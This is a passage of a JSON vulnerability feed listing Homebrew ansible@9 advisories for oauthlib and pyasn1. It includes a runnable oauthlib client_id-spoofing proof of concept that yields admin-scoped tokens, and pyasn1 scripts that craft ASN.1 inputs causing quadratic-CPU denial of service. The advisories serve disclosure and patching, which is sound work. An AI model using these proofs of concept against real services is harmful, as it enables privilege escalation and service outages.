leakage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-118669","published":"2026-10-31T08:33:34Z","modified":"2026-10-31T08:33:34Z","upstream":["GHSA-7984-qgvg-3j9c","CVE-2026-118669"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","details":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/920"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-119194","published":"2026-10-31T08:33:34Z","modified":"2026-10-31T08:33:34Z","upstream":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id >>= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id >>= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 << 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-119195","published":"2026-10-31T08:33:34Z","modified":"2026-10-31T08:33:34Z","upstream":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length < 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119195"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-119196","published":"2026-10-31T08:33:34Z","modified":"2026-10-31T08:33:34Z","upstream":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","details":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and 